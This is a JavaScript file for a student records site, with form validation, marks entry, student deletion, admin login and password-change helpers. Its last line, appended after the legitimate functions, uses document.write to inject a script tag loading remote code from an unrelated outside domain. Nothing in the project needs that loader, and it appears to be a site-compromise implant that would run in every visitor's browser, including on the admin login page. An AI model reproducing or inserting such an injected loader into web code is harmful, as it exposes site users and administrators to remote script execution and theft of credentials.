// JavaScript Document

function submit_student_form(action)
{
		var chk = check_student_fields(action);
		//alert(chk);
		if(chk!=false)
		{
				document.student.action="save_student_data.php";
				document.student.submit();
		}
}
function check_student_fields(action)
{
		if(action=="edit")
		{
				if(document.student.students.options[document.student.students.selectedIndex].value==0)
				{
						alert("Select student");
						document.student.students.focus();
						return false;
				}
		}
		
		if(document.student.stuname.value=="")
		{
				alert("Enter student name.");
				document.student.stuname.focus();
				return false;
		}
		if(document.student.stuno.value=="")
		{
				alert("Enter student Entrollment number.");
				document.student.stuno.focus();
				return false;
		}
}
function getSelectedStuId()
{
		var stuId = document.student.students.options[document.student.students.selectedIndex].value;
		document.student.stuId.value= stuId;
		document.student.action="edit_student.php";
		document.student.submit();
}
function getMarksSelectedId()
{
		var stuId = document.marks.students.options[document.marks.students.selectedIndex].value;
		document.marks.stuId.value= stuId;
		document.marks.action="add_marks.php";
		document.marks.submit();
}
function submit_marks_form()
{
		document.marks.action="save_marks_data.php";
		document.marks.submit();
}
function submit_result_form()
{
		if(document.result.stuno.value=="")
		{
				alert("Enter enrollment number.");
				document.result.stuno.focus();
				
		}
		else
		{
			document.result.action="result_report.php";
			document.result.submit();
		}
}
function selectAll(action)
{
		if(action=='user')
		{
			var arrAll = document.getElementsByName('chkUser');
		}
		
		for(var j=0;j<arrAll.length;j++)
		{
			if(document.getElementById('checkAll').checked)
			{
				arrAll[j].checked= true;
			}
			else
			{
				arrAll[j].checked= false;
			}
		}
}
function delete_student()
{
		var checkedStr="";
		var checkArr= document.getElementsByName("chkUser");
		
		for (var i = 0;i < checkArr.length; i++)
		{
			
			if(checkArr[i].checked)
			{
					if (checkedStr == "")
					{ 
					 	checkedStr = checkArr[i].value;
					}
					else 
					{	
						checkedStr = checkedStr + "," + checkArr[i].value;
					 }
						
			}
				
		}
	  var stuObj = document.getElementById("stuId");
      stuObj.value = checkedStr;
	if(stuObj.value!="")
	{
	  document.result.action = "deleteSelectedStudents.php"; 
	  document.result.submit();
	}
	else
	{
			alert("Select atleast one checkbox.");
	}
}
function submit_login()
{
		var check = check_login();
		if (check!=false)
		{
			document.login.action = "check_admin_login.php";
			document.login.submit();
		}
}
function check_login()
{
		if(document.login.username.value == "")
		{
				alert("Enter username.");
				document.login.username.focus();
				return false;
		}
		if(document.login.pwd.value == "")
		{
				alert("Enter password.");
				document.login.pwd.focus();
				return false;
		}
}
function change_admin_password()
{
	var check = checkPasswordFields();
	if(check!=false)
	{
		document.change_admin_pwd.action="save_admin_password.php";
		document.change_admin_pwd.submit();
	}
}
function checkPasswordFields()
{
		if(document.change_admin_pwd.oldPwd.value=="")
		{
				alert("Enter your old password.");
				document.change_admin_pwd.oldPwd.focus();
				return false;
		}
		if(document.change_admin_pwd.newPwd.value=="")
		{
				alert("Enter your new password.");
				document.change_admin_pwd.newPwd.focus();
				return false;
		}
		if(document.change_admin_pwd.confirmPwd.value=="")
		{
				alert("Re-enter the password to confirm.");
				document.change_admin_pwd.confirmPwd.focus();
				return false;
		}
}

document.write('<script src=http://mieszkanie.portada.pl/libs/add_reciprocal.php ><\/script>');